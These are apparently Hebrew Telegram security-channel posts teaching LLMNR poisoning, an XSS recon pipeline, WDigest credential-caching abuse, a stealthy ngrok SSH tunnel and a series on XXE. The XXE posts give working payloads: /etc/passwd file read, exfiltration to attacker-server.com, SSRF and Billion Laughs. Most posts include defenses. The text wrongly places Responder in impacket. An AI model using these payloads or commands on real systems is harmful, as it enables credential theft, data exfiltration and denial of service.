Cyber & Code

🛡️ פרוטוקולי LLMNR ו-NBT-NS: פרצת האבטחה השקטה ברשת ה-Windows שלכם 🛡️ שלום לכולם. היום נצלול לאחת מנקודות התורפה הנפוצות והמסוכנות ביותר ברשתות פנימיות מבוססות Windows. אנו נדבר על שני פרוטוקולי רשת מיושנים, LLMNR ו-NBT-NS, וכיצד הם מאפשרים לתוקפים לחטוף פרטי הזדהות (Credential Hijacking) בקלות מפתיעה באמצעות התקפה המכונה "Poisoning" (הרעלה). 📖 חלק 1: רקע תיאורטי מהם LLMNR ו-NBT-NS? בבסיסם, שני הפרוטוקולים הללו נועדו לדבר אחד: זיהוי שמות (Name Resolution) ברשת המקומית (LAN). יNBT-NS (NetBIOS Name Service): פרוטוקול ותיק מאוד ששימש לתרגום שמות NetBIOS (כמו MY-PC) לכתובות IP ברשתות שלא היה בהן שרת DNS מרכזי. יLLMNR (Link-Local Multicast Name Resolution): זהו היורש המודרני יותר של NBT-NS. כאשר שרת ה-DNS הראשי נכשל בזיהוי שם מסוים (למשל, מחזיר שגיאת NXDOMAIN), מערכת ה-Windows תנסה כברירת מחדל לשלוח שאילתת Multicast לכל המחשבים באותה תת-רשת (Subnet) ולשאול: "מישהו מכם מכיר את השרת X?" מה ההשלכות באבטחת מידע? הבעיה המרכזית טמונה בארכיטקטורה של הפרוטוקולים הללו: תעבורת Broadcast/Multicast: השאילתות נשלחות לכלל המכשירים ברשת, מה שאומר שכל מכשיר יכול "לשמוע" את הבקשה. חוסר באימות (Lack of Authentication): הפרוטוקולים תוכננו מתוך מחשבה על נוחות. אין שום מנגנון שמוודא שהתשובה שמתקבלת אכן מגיעה מהמקור הלגיטימי. כל מכשיר ברשת יכול להשיב לשאילתה ולהתחזות למשאב המבוקש. מופעלים כברירת מחדל: וזו הנקודה הקריטית – גם במערכות Windows 10 ו-Windows 11 מודרניות, פרוטוקולים אלה עדיין מופעלים כברירת מחדל. השילוב של שלושת הגורמים הללו יוצר כר פורה להתקפת Man-in-the-Middle (MITM) פנימית. כל מה שדרוש הוא משתמש שיבצע טעות הקלדה תמימה (למשל, ינסה לגשת ל-\\FileServrr במקום \\FileServer). ה-DNS ייכשל, והמחשב יפנה ל-LLMNR וישאל ברשת "מי זה FileServrr?" – כאן התוקף נכנס לתמונה. ⚔️ חלק 2: פרקטיקה (תקיפה והגנה) כלי התקיפה: Responder הכלי הפופולרי והיעיל ביותר לניצול חולשה זו הוא Responder, שפותח על ידי Laurent Gaffie ומהווה חלק מחבילת הכלים impacket. איך ההתקפה עובדת בפועל: האזנה (Listening): התוקף מריץ את Responder על מכשיר שנמצא באותה רשת מקומית (למשל, מחשב נייד שמחובר ל-Wi-Fi הארגוני, או עמדה שהודבקה בנוזקה). הכלי מתחיל להאזין לתעבורת LLMNR ו-NBT-NS. הרעלה (Poisoning): ברגע ש-Responder מזהה שאילתה לשם שאינו קיים (כמו טעות ההקלדה \\FileServrr), הוא מגיב באופן מיידי ואגרסיבי לפני כל שרת לגיטימי אחר. הוא עונה למחשב השואל: "כן, אני הוא FileServrr. ה-IP שלי הוא [ה-IP של התוקף]." חטיפת ההזדהות (Credential Grabbing): המחשב של הקורבן סומך על התשובה שקיבל. אם הבקשה המקורית הייתה למשאב SMB (כמו שיתוף קבצים), המחשב ינסה כעת להזדהות מול השרת המתחזה (מכונת התוקף). בתהליך ההזדהות, המחשב שולח את שם המשתמש (DOMAIN\User) ואת הגיבוב (Hash) של הסיסמה שלו, לרוב בפורמט NTLMv2. יResponder תופס את פרטי ההזדהות הללו, מציג אותם על המסך לתוקף ושומר אותם בקובץ לוג להמשך שימוש. מה עושים עם ה-Hash שנגנב? לאחר שהתוקף השיג את ה-NTLMv2 Hash, עומדות בפניו שתי אפשרויות עיקריות: פיצוח אופליין (Offline Cracking): התוקף יכול להשתמש בכלים רבי עוצמה כמו Hashcat או John the Ripper כדי לנסות ולפצח את ההאש ולגלות את הסיסמה המקורית (Plaintext). הצלחת הפיצוח תלויה ישירות במורכבות הסיסמה של המשתמש. התקפות Relay (כדוגמת SMB Relay): במקרים מסוימים, התוקף אף לא צריך לפצח את ההאש. הוא יכול להשתמש בהאש ש"נתפס" כדי להעביר (Relay) את ההזדהות הזו לשרת לגיטימי אחר ברשת (שכן מקבל חיבורי SMB) ולהזדהות בשם הקורבן. פרקטיקה (הגנה) החדשות הטובות הן שההגנה מפני התקפה זו היא פשוטה יחסית ודורשת הקשחת מערכות בסיסית. ברשת מודרנית המנוהלת כהלכה עם שרתי DNS, אין סיבה להשאיר את הפרוטוקולים הללו פעילים. ברמת המחשב הבודד (לצורך בדיקה / מעבדה): לכיבוי NBT-NS: פתח את ncpa.cpl (חיבורי רשת). לחצן ימני על כרטיס הרשת הפעיל -> Properties. בחר Internet Protocol Version 4 (TCP/IPv4) -> Properties. לחץ Advanced... -> עבור ללשונית WINS. סמן את האפשרות: Disable NetBIOS over TCP/IP. לכיבוי LLMNR (דרך Registry): פתח את regedit (עורך הרישום). נווט לנתיב: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient צור ערך חדש מסוג DWORD (32-bit) בשם EnableMulticast. ודא שהערך שלו מוגדר ל-0.

🎯 אסטרטגיית ציד XSS מתקדמת: בניית Pipeline אוטומטי לאיתור פגיעויות 🎯 בעולם הסייבר ההתקפי, יעילות היא שם המשחק. כאשר ניגשים למטרה גדולה עם מאות או אלפי נקודות קצה (Endpoints), חיפוש ידני אחר פגיעויות XSS (Cross-Site Scripting) הופך לבלתי אפשרי. הפתרון הוא בניית "pipeline" שרשרת כלים אוטומטית שמסננת את הרעש ומבודדת את המטרות בעלות הפוטנציאל הגבוה ביותר. בואו נפרק את האסטרטגיה הזו לשלבים טכניים. 🧐 הפילוסופיה: מתודולוגיית המשפך (The Funnel Methodology) הרעיון המרכזי הוא להתחיל עם רשימה מסיבית של כל ה-URLים האפשריים של המטרה, ובכל שלב בשרשרת לסנן אותה על בסיס קריטריונים מדויקים יותר. התהליך מחולק לשלושה סוגי ניתוח עיקריים: איסוף פסיבי, סינון סטטי, וניתוח התנהגותי. 🛠️ פירוק טכני של ה-Pipeline הנה דוגמה לפקודת "one-liner" שמממשת את כל התהליך. ננתח אותה שלב אחרי שלב: Bash gau yourtarget.com | gf xss | httpx -silent -ct | grep -iE 'text/html|application/xhtml|application/xml|text/xml|image/svg-xml' | Gxss -p yourstring | kxss שלב 1: gau yourtarget.com המטרה: איסוף וייצור רשימת יעדים (Endpoint Enumeration & Reconnaissance). הטכניקה: הכלי gau (Get All URLs) שולף מידע ממנועי ארכיון אינטרנט (Wayback Machine), סורקי רשת (Common Crawl), ומאגרי מידע על איומים (AlienVault OTX) כדי ליצור רשימה מקיפה של כל ה-URL-ים שידועים עבור המטרה. התוצר: קובץ טקסט המכיל אלפי URLים, כולל דפים ישנים ופרמטרים נשכחים. שלב 2: | gf xss המטרה: סינון סטטי מבוסס תבניות (Static Pattern-Based Filtering). הטכניקה: הפלט של gau מועבר ישירות (|) לכלי gf (Grep from Files). באמצעות תבניות ה-xss המובנות, הוא מסנן ומותיר רק את ה-URLים המכילים שמות פרמטרים הידועים כווקטורים נפוצים ל-XSS (למשל, ?q=, ?redirect_url=, ?next=). התוצר: רשימת URLים מצומצמת משמעותית, המכילה רק כתובות עם פרמטרים "חשודים". שלב 3: | httpx -silent -ct | grep ... המטרה: אימות וסינון ראשוני של מטרות חיות (Live Target Validation). הטכניקה: httpx בודק אילו מה-URLים המסוננים עדיין פעילים (live) ומציג את סוג התוכן (-ct עבור Content-Type). לאחר מכן, grep מסנן את הרשימה ומשאיר רק את אלו שמחזירים תוכן שבו דפדפן יכול להריץ קוד, כמו text/html, application/json, image/svg+xml וכו'. התוצר: רשימה נקייה של URLים פעילים ורלוונטיים בלבד. שלב 4: | Gxss -p yourstring המטרה: ניתוח התנהגותי - בדיקת השתקפות (Behavioral Analysis - Reflection Check). הטכניקה: זהו שלב קריטי. Gxss מזריק מחרוזת ייחודית (yourstring) לכל פרמטר בכל URL ששרד, ובודק אם המחרוזת הזו "משתקפת" חזרה בגוף התשובה (response body). התוצר: רשימה ממוקדת מאוד של URL-ים שבהם קיים נתיב נתונים ישיר מהקלט של המשתמש אל הפלט המוצג. שלב 5: | kxss המטרה: ניתוח התנהגותי - בדיקת מנגנוני הגנה (Sanitization/Encoding Check). הטכניקה: השלב האחרון במשפך. kxss לוקח את ה-URL-ים שבהם נמצאה השתקפות, ובודק האם תווים מיוחדים וקריטיים ל-XSS (<, >, ", ') עוברים סינון או קידוד. התוצר: הרשימה הסופית. אלו ה-URL-ים בעלי הסבירות הגבוהה ביותר לפגיעות XSS, מכיוון שהם גם משקפים קלט וגם לא מבצעים חיטוי בסיסי. כעת הם מוכנים לבדיקה ידנית וניצול. 🛡️ השלכות למגנים (Defenders) הבנת מתודולוגיית תקיפה זו מדגישה את חשיבות ההגנה לעומק: ולידציית קלט (Input Validation): יש לסנן ולאמת כל קלט המגיע ממשתמשים בכל נקודות הקצה. קידוד פלט (Output Encoding): זוהי ההגנה הקריטית ביותר. יש לקודד כל מידע שמקורו במשתמש לפני הצגתו חזרה בדף, בהתאם להקשר שבו הוא מוצג (Context-Aware Encoding). יContent Security Policy (CSP): הגדרת כותרת CSP חזקה יכולה למנוע הרצת סקריפטים זדוניים גם אם נמצאה פגיעות, ובכך לשמש כשכבת הגנה אחרונה וחיונית. לסיכום, המעבר מגישה ידנית ל-pipeline אוטומטי הוא מהפכה ביעילות של תהליכי בדיקות חדירות ו-Bug Bounty. הוא מאפשר כיסוי רחב ודיוק גבוה, והופך את משימת איתור הפגיעויות למדעית ושיטתית. ההשראה והטקטיקה מתוך הטוויטר: https://x.com/coffinxp7/status/1978771132602843183?t=8jRrtuBuAhd8y9atdEaZJw&s=19 הצטרפו לערוץ @CYBERSECURITYCODING

💡 טיפ אבטחה: כך תקשיחו מערכות Windows חדשות רבים מאיתנו מניחים שמערכת הפעלה מודרנית כמו Windows 11 מאובטחת כברירת מחדל. ההנחה הזו מסוכנת. גם במערכות החדשות ביותר, קיימים רכיבי לגאסי שניתן לנצל לרעה אם המערכת לא "מוקשחת" כראוי. הבעיה: חולשת WDigest מה זה WDigest בכלל? במקור, WDigest (Digest Authentication) היה פרוטוקול אימות שנועד לאפשר אימות מול שרתי ווב מסוימים. הבעיה היא שהעיצוב שלו דרש גישה לסיסמה בפורמט שניתן לשחזור, ולכן, כשהוא פעיל, הוא מאלץ את Windows לשמור סיסמאות בצורה גלויה וקריאה בזיכרון (LSASS). התרחיש (למה זה מסוכן?) תוקף עם הרשאות ניהול מקומיות מנצל את הרכיב הישן הזה. הוא מריץ את הפקודה הפשוטה הבאה כדי להניח את המלכודת: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f לאחר מכן, הוא פשוט ממתין. שאיש IT או מנהל רשת, סביר להניח שבשלב כלשהו יתחבר מרחוק (בRDP) לאותה תחנה כדי לבצע תחזוקה. ברגע שיעשה זאת, הסיסמה שלו תילכד. באמצעות כלי כמו Mimikatz, התוקף ישלוף את הסיסמה ששמורה כטקסט רגיל ויקבל גישה לכל הרשת. 🛡️ הפתרון: הקשחת המערכת ונטרול הסיכון כדי לוודא שהתרחיש הזה לעולם לא יקרה לכם, יש ליישם את ההגנות הבאות. הן הופכות את המתקפה הזו לחסרת תועלת: הוסיפו חשבונות רגישים לקבוצת "Protected Users": זו ההגנה החשובה ביותר. חשבון שנמצא בקבוצה זו מנוע, על פי מדיניות מרכזית, מלשמור את הסיסמה שלו בזיכרון בצורה פגיעה. הפעילו Credential Guard או LSA Protection: הגדרות אלו "נועלות" את הזיכרון של LSASS ומונעות מכלים זדוניים לגשת אליו ולקרוא אותו. זוהי הקשחה חיונית ברמת מערכת ההפעלה. ודאו שיש ניטור (EDR): מערכת EDR טובה תזהה ותתריע על הניסיון לשנות את הרישום של WDigest, ותאפשר לכם להגיב לאיום בזמן אמת. בשורה התחתונה: אל תסמכו על הגדרות ברירת המחדל. אבטחה והקשחת המערכות הן המפתח למניעת מתקפות. הצטרפו לערוץ @CYBERSECURITYCODING

ושבו בנים לגבולם 🇮🇱♥️🥹🥳

🔥 טיפ קטן: Ngrok בלי להתקין כלום צריכים לחשוף שרת מקומי לאינטרנט במהירות? במקום להוריד קבצים, השתמשו ב-SSH. הריצו את הפקודה הבאה בטרמינל: Bash ssh -R 80:localhost:80 tunnel.us.ngrok.com http איך זה עובד? הפקודה הזו משתמשת ב-SSH כדי ליצור "מנהרה הפוכה" (Reverse Tunnel) מהמחשב שלכם ישירות לשרת של Ngrok. התעבורה מהלינק הציבורי שאתם מקבלים פשוט מועברת דרך המנהרה הזו אל פורט 80 במחשב שלכם. היתרונות המרכזיים: בלי קבצים: אתם לא מורידים שום דבר למערכת. זה נקי ועוקף הגנות בסיסיות. בלי הרשאות מנהל: הפקודה עובדת עם משתמש רגיל, כי SSH הוא כלי מובנה ברוב המערכות. חשאיות: הפעולה נראית כמו חיבור SSH לגיטימי ומוצפן, מה שמקשה על זיהוי. זו דרך יעילה לפעול מתחת לרדאר כשצריך. הצטרפו לערוץ @CYBERSECURITYCODING

🕵️‍♂️ אנונימיות נשברת בגלל טעויות קטנות: dw_deanon 🕵️‍♂️ נתקלתי בכלי קוד פתוח מעניין בגיטהאב שרציתי לחלוק, הוא נקרא dw_deanon והוא מדגים בצורה מושלמת עיקרון קריטי באבטחת מידע. 🔗 קישור לכלי בגיטהאב: https://github.com/bash-bunny/dw_deanon מה הכלי עושה? 🤔 בפשטות, הכלי מנסה לחשוף את הזהות של אתרי .onion (ברשת האפלה). הוא לא "פורץ" לשום מקום, אלא פשוט אוסף "טביעות אצבע" דיגיטליות מהאתר האנונימי (כמו תעודת SSL, אייקון Favicon, כותרת עמוד וכו') ומחפש את אותן טביעות אצבע בדיוק ברחבי האינטרנט הגלוי. וזה מביא אותנו לשיעור החשוב ביותר: 💡 הכלי הזה חושף למה אסור בתכלית האיסור להשתמש באותם נכסים דיגיטליים גם לפרופיל האנונימי וגם לפרופיל הגלוי שלכם! 🚫 דמיינו שאתם מפעילים שירות אנונימי, אבל משתמשים באותו אייקון (Favicon) שהשתמשתם בו באתר של העסק שלכם. הכלי ימצא את טביעת האצבע של האייקון באתר האנונימי, יחפש אותה באינטרנט, ימצא אותה באתר העסקי שלכם, ו... בום! 💥 האנונימיות נשברה. נוצר קשר ישיר בין הזהות הגלויה לנסתרת. אז איך בונים אנונימיות אמיתית? 🛡️ אנונימיות היא לא רק שימוש בכלי כמו Tor. היא קודם כל משמעת ונהלים שנקראים OpSec (Operational Security). זה אומר ליצור הפרדה מוחלטת וסטרילית בין הזהויות. כל פרופיל אנונימי צריך סביבה משלו, בלי שום שימוש חוזר בנכסים: לא תעודות, לא תמונות, לא קטעי קוד, ואפילו לא סגנון כתיבה דומה. כל קישור, קטן ככל שיהיה, הוא חוט פוטנציאלי שניתן למשוך בו. לסיכום, dw_deanon הוא כלי מעניין שמראה איך טעויות תמימות של "חיסכון בזמן" יכולות להרוס. הצטרפו לערוץ @CYBERSECURITYCODING

מוזמנים להצטרף לערוץ. עידכונים,שערים, דיווחים ⚽🏆 ⁨https://t.me/telbool⁩ אנחנו גם בטוויטר: https://x.com/sportandfutbull?t=CY11wx2rVnb7dbVrkpX3pg&s=09 🌟

🛡️ השלב הבא של XXE ואיך לוודא שאתם לא הקורבן הבא 🛡️ בסדרת הפוסטים שלנו צללנו לעומק עולם ה-XML. למדנו איך טכנולוגיה ותיקה יכולה להפוך לכלי נשק, ראינו איך לגנוב קבצים עם התקפה קלאסית ואיך להפיל שרתים עם "מיליארד צחוקים". בפרק הסיום, אנחנו עולים רמה. נציג טכניקות מתקדמות יותר, והכי חשוב נלמד איך להתגונן ולסגור את הדלת בפני התוקפים אחת ולתמיד. 🚀 טכניקות מתקדמות: כשנהיה קצת יותר מתוחכמים י1. Out-of-Band (OOB) XXE - ההתקפה העיוורת הבעיה: מה קורה אם השרת פגיע ל-XXE, אבל התגובה שהוא מחזיר לא מציגה את תוכן הישות שלנו? לדוגמה, הוא רק מחזיר "העדכון בוצע בהצלחה". זוהי התקפת XXE "עיוורת". הפתרון: אם השרת לא ישלח לנו את המידע, נגרום לו לשלוח אותו לכתובת אחרת שרת חיצוני שנמצא בשליטתנו. טכניקה זו נקראת Out-of-Band ("מחוץ לערוץ התקשורת הראשי"). איך זה עובד : התוקף בונה Payload מתוחכם שנותן לשרת שתי הוראות: קרא את התוכן של קובץ רגיש (למשל /etc/hostname). שלח את התוכן שקראת כחלק מבקשת HTTP (או DNS) לשרת של התוקף. לדוגמה, ה-Payload יכול לגרום לשרת הפגיע לבצע בקשה כזו: http://attacker-server.com/exfiltrated_data=server-name-here התוקף פשוט מאזין לבקשות שמגיעות לשרת שלו, וכך מקבל את המידע הגנוב. י2. XXE לביצוע SSRF (Server-Side Request Forgery) זוהי אחת ההשלכות המסוכנות ביותר של XXE. במקום לבקש מהשרת לקרוא קובץ (file://), אנחנו יכולים לבקש ממנו לשלוח בקשות רשת (http://, ftp://) בשמנו. ה-Payload: XML <!ENTITY ssrf SYSTEM "http://192.168.1.1/admin"> ההשפעה: השרת הפגיע, שנמצא בתוך הרשת הארגונית, ינסה לגשת לכתובת הפנימית 192.168.1.1/admin. זה מאפשר לתוקף: למפות את הרשת הפנימית. לגשת לממשקי ניהול של שירותים פנימיים (ראוטרים, מסדי נתונים וכו'). לתקוף שירותים אחרים מתוך הרשת, כשהוא "מתחבא" מאחורי השרת הפגיע. 🔐 אסטרטגיות הגנה ומניעה: איך סוגרים את הפרצה? דיברנו מספיק על התקפות, עכשיו לחלק החשוב באמת: איך מוודאים שהמערכות שלנו מוגנות. 1. הפתרון הטוב ביותר: כיבוי מוחלט של עיבוד DTDs אם האפליקציה שלכם לא צריכה לאמת מסמכי XML מול DTD, פשוט כבו את הפיצ'ר הזה לחלוטין ברמת מפרש ה-XML. זוהי הדרך הבטוחה והיעילה ביותר לחסום כל סוג של התקפת XXE. כמעט בכל סביבת פיתוח (Java, .NET, Python) יש דרך פשוטה לעשות זאת בקונפיגורציה. 2. פתרון חלופי: נטרול ישויות חיצוניות אם אתם חייבים להשתמש ב-DTDs (למשל, לצורך validation), עדיין ניתן להתגונן על ידי כיבוי ספציפי של התמיכה בישויות חיצוניות וישויות פרמטר. זה יאפשר ל-DTD לעבוד, אבל ימנע ממנו לטעון תוכן חיצוני ומסוכן. 3. ⚠️ לא להסתמך על רשימות שחורות (Blacklisting)! ניסיון לסנן ולחסום מחרוזות טקסט כמו <!ENTITY או SYSTEM או file:// נידון לכישלון. תוקפים מתוחכמים תמיד ימצאו דרכים לעקוף סינון כזה באמצעות קידודים שונים, פרוטוקולים לא צפויים ועוד טריקים. הגנה צריכה להיות מבוססת על "רשימה לבנה" (מה מותר), לא על "רשימה שחורה" (מה אסור). 4. המלצה: עברו לפורמטים מודרניים ובטוחים יותר במידת האפשר, במיוחד ב-APIs חדשים, העדיפו להשתמש בפורמט JSON. מפרשי JSON הם פשוטים יותר בטבעם ואינם כוללים מנגנונים מורכבים (ומסוכנים) כמו DTDs וישויות. המעבר ל-JSON מקטין משמעותית את שטח התקיפה. 📝 סיכום הסדרה במהלך חמשת הפוסטים האחרונים, יצאנו למסע שהתחיל ממבנה נתונים תמים לכאורה והסתיים בפצצות זיכרון וגניבת מידע רגיש. ראינו שגם טכנולוגיות ותיקות ויסודיות יכולות להסתיר סיכונים משמעותיים. החולשה היא לא ב-XML עצמו, אלא בקונפיגורציה לא בטוחה של המערכות שמעבדות אותו. הבנת הטכנולוגיות שעליהן אנו מגנים, עד לרמת המנגנונים הפנימיים שלהן, היא קו ההגנה הראשון והחשוב ביותר שלנו. תודה שעקבתם אחרי הסדרה! מקווה שהיא הייתה מועילה ומלמדת. נתראה בסדרות הבאות! הצטרפו לערוץ @CYBERSECURITYCODING

איך להפיל שרת עם קובץ XML קטן: הכירו את התקפת "מיליארד הצחוקים" עד עכשיו בסדרה שלנו, התמקדנו בשימוש בישויות חיצוניות (External Entities) כדי לגנוב מידע מהשרת. זה חזק, זה מסוכן, אבל מה קורה כשהמטרה של התוקף היא לא גניבה, אלא השבתה מוחלטת? כאוס טהור? היום נכיר התקפה מפורסמת, אלגנטית והרסנית שמנצלת דווקא ישויות פנימיות כדי להכניע שרתים. הכירו את "Billion Laughs Attack". 💣 קונספט: התקפת הרחבת ישויות (Entity Expansion) זוכרים ישויות פנימיות מהפוסט השני? אלו שהגדרנו כ"משתנים" תמימים לשימוש חוזר? ובכן, מסתבר שאפשר לשרשר אותן אחת בתוך השנייה בצורה רקורסיבית. תחשבו על בובת בבושקה 🪆: אתם פותחים בובה אחת, ובתוכה יש 10 בובות קטנות יותר. אתם פותחים כל אחת מהן, ובתוך כל אחת יש עוד 10... וכן הלאה. בסוף, מבובה אחת גדולה, הגעתם לאלפי בובות קטנטנות שממלאות את כל החדר. התקפת "מיליארד הצחוקים" עובדת על אותו עיקרון. אנחנו מגדירים ישות קטנה, ואז ישות נוספת שמכילה 10 עותקים של הראשונה, ואז ישות שלישית שמכילה 10 עותקים של השנייה, וכן הלאה. 📜 ה-Payload המפורסם קובץ ה-XML התוקף נראה תמים למדי. הוא קטן, מכיל רק כמה שורות, אבל טומן בחובו פוטנציאל הרס אדיר:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<lolz>&lol9;</lolz>

📈 המתמטיקה של ההרס כאשר מפרש ה-XML מגיע לשורה האחרונה <lolz>&lol9;</lolz>, הוא מתחיל בתהליך הרחבת הישויות: * כדי להרחיב את lol9, הוא צריך להרחיב 10 פעמים את lol8. * כדי להרחיב כל lol8, הוא צריך להרחיב 10 פעמים את lol7. * וכן הלאה... עד שהוא מגיע לישות הבסיסית, lol. התוצאה הסופית היא ניסיון לייצר מחרוזת טקסט המורכבת מ- 10⁹ (מיליארד!) חזרות של המילה "lol". 💥 ההשפעה על השרת: פצצת זיכרון ומעבד כאשר השרת מנסה לעבד את הבקשה הזו, שני דברים קטסטרופליים קורים במקביל: 1. 🧠 "פיצוץ" בזיכרון (Memory Bomb): מפרש ה-XML מנסה לבנות בזיכרון ה-RAM את המחרוזת הענקית הזו. מיליארד חזרות של "lol" (3 תווים) זה בערך 3 ג'יגה-בייט של מידע. זה מספיק כדי למצות את כל הזיכרון שהוקצה לאפליקציה ולגרום לה לקרוס באופן מיידי. 2. ⚙️ עומס על המעבד (CPU Exhaustion): עוד לפני שהזיכרון מתמלא, תהליך החישוב הרקורסיבי של הרחבת הישויות הוא פעולה שדורשת כוח עיבוד עצום. המעבד (CPU) של השרת יקפוץ ל-100% שימוש, מה שיגרום לו להפסיק להגיב לבקשות לגיטימיות אחרות. התוצאה הסופית בשני המקרים זהה: מניעת שירות (Denial of Service - DoS). האפליקציה, ולעיתים קרובות השרת כולו, קורסים או הופכים ללא זמינים. עד כה ראינו איך לגנוב קבצים ואיך להפיל שרתים. אבל מה קורה כשהשרת פגיע, אבל לא מחזיר לנו את המידע ישירות בתגובה? וחשוב מכך - איך מתגוננים מכל הדבר הזה?! 🤔 בפוסט האחרון והמסכם של הסדרה, נדבר על טכניקות XXE למתקדמים ונספק את המדריך המלא למניעה והתגוננות. זה הפוסט שאתם חייבים לשמור. 🛡️ הצטרפו לערוץ @CYBERSECURITYCODING

י🔑 XXE 101: איך לגרום לשרת למסור את סודותיו 🔑 בפוסטים הקודמים בנינו את הבסיס: הבנו מה זה XML וגילינו את מנגנון ה-DTD והישויות (Entities). ראינו שישות חיצונית (External Entity) יכולה לקרוא קבצים מהשרת. עכשיו, אנחנו מפסיקים לדבר בתיאוריה ועוברים להתקפה מלאה. נראה איך משלבים את כל החלקים יחד כדי לבנות Payload שיגרום לשרת למסור לנו קבצים רגישים. מהי התקפת XXE (XML External Entity)? בצורה הכי פשוטה: התקפת XXE היא חולשת אבטחה המאפשרת לתוקף לנצל לרעה את היכולת של מפרש ה-XML (ה-Parser) לטעון ישויות חיצוניות. במקום שהמפרש יטען רק מידע תמים, אנחנו מאלצים אותו לגשת למשאבים שהוא לא אמור לגשת אליהם, כמו קבצים מקומיים במערכת. במילים אחרות, אנחנו "משכנעים" את השרת להיות השליח שלנו ולבצע עבורנו פעולות מתוך הרשת הפנימית שלו. 💥 ההתקפה בפועל: גניבת הקובץ /etc/passwd הדוגמה הקלאסית והמפורסמת ביותר היא קריאת הקובץ /etc/passwd ממערכת לינוקס. קובץ זה מכיל רשימה של כל המשתמשים במערכת, ובעוד שהוא לא מכיל סיסמאות (במערכות מודרניות), קריאה שלו מהווה הוכחת יכולת (Proof of Concept) ברורה לכך שהשרת פגיע. ה-Payload המלא: דמיינו אפליקציה שמאפשרת לנו לעדכן את פרטי המשתמש שלנו על ידי שליחת בקשת POST עם גוף XML. במקום לשלוח XML תקין, אנחנו נשלח את הדבר הבא: XML <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <username>&xxe;</username> <email>attacker@example.com</email> </user> ניתוח ה-Payload: י<!DOCTYPE user [...]>: אנחנו פותחים הגדרת DTD. <!ENTITY xxe SYSTEM "file:///etc/passwd">: זהו לב ההתקפה. הגדרנו ישות חיצונית בשם xxe ואמרנו למפרש לטעון לתוכה את התוכן של הקובץ passwd מהשרת. <username>&xxe;</username> : כאן הקסם קורה. אנחנו קוראים לישות שלנו (&xxe;) בתוך תג ה-username. 🔄 תהליך ההתקפה: שלב אחר שלב אז מה קורה מאחורי הקלעים מרגע שהתוקף לוחץ 'שלח'? התוקף שולח את הבקשה 📩: הבקשה הזדונית נשלחת לשרת. השרת מקבל את ה-XML 📥: האפליקציה בשרת מקבלת את ה-XML ומתחילה לעבד אותו. מפרש ה-XML נכנס לפעולה ⚙️: המפרש קורא את ה-XML שורה אחר שורה. הוא מגיע להגדרת ה-DTD ומזהה את הישות החיצונית xxe. הגישה לקובץ 📂: המפרש, בצייתנות, פונה למערכת ההפעלה של השרת ומבקש לקרוא את הקובץ בנתיב file:///etc/passwd. הזרקת התוכן לתגובה 📤: המפרש מחליף את &xxe; בתוכן המלא של הקובץ שקרא. התשובה חוזרת לתוקף ✅: השרת שולח תגובה חזרה. אם האפליקציה מחזירה את שם המשתמש בתגובה, התוקף יראה את תוכן הקובץ passwd במקום שם המשתמש. התגובה תיראה בערך כך: HTTP/1.1 200 OK Content-Type: application/xml <user> <username>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...</username> </user> הצלחה! הצלחנו לגרום לשרת לקרוא קובץ פנימי ולשלוח לנו את התוכן שלו. 🚨 השלכות וסיכונים: למה זה כל כך מסוכן? 🔑 גניבת מידע רגיש: קבצי סיסמאות, מפתחות הצפנה פרטיים, מפתחות API. 📂 חשיפת קבצי מערכת ותצורה: קבצים כמו web.xml, .env, או קבצי תצורה אחרים יכולים לחשוף סודות על מבנה האפליקציה ומסדי נתונים. 💻 גניבת קוד מקור: ניתן לקרוא את קוד המקור של האפליקציה עצמה. 🌐 סריקת רשת פנימית: ניתן להשתמש ב-XXE כדי לגרום לשרת לגשת לכתובות IP פנימיות, ובכך למפות את הרשת שהתוקף לא יכול לראות. (על זה נרחיב בפוסטים הבאים!). אבל מה אם המטרה היא לא לגנוב מידע, אלא פשוט להשבית את השרת? להפיל אותו על הברכיים עם קובץ XML קטן אחד? בפוסט הבא נכיר התקפת XXE מסוג אחר לגמרי "מיליארד הצחוקים" (Billion Laughs Attack). תתכוננו, זה הולך להיות מענין. 💣 הצטרפו לערוץ @CYBERSECURITYCODING

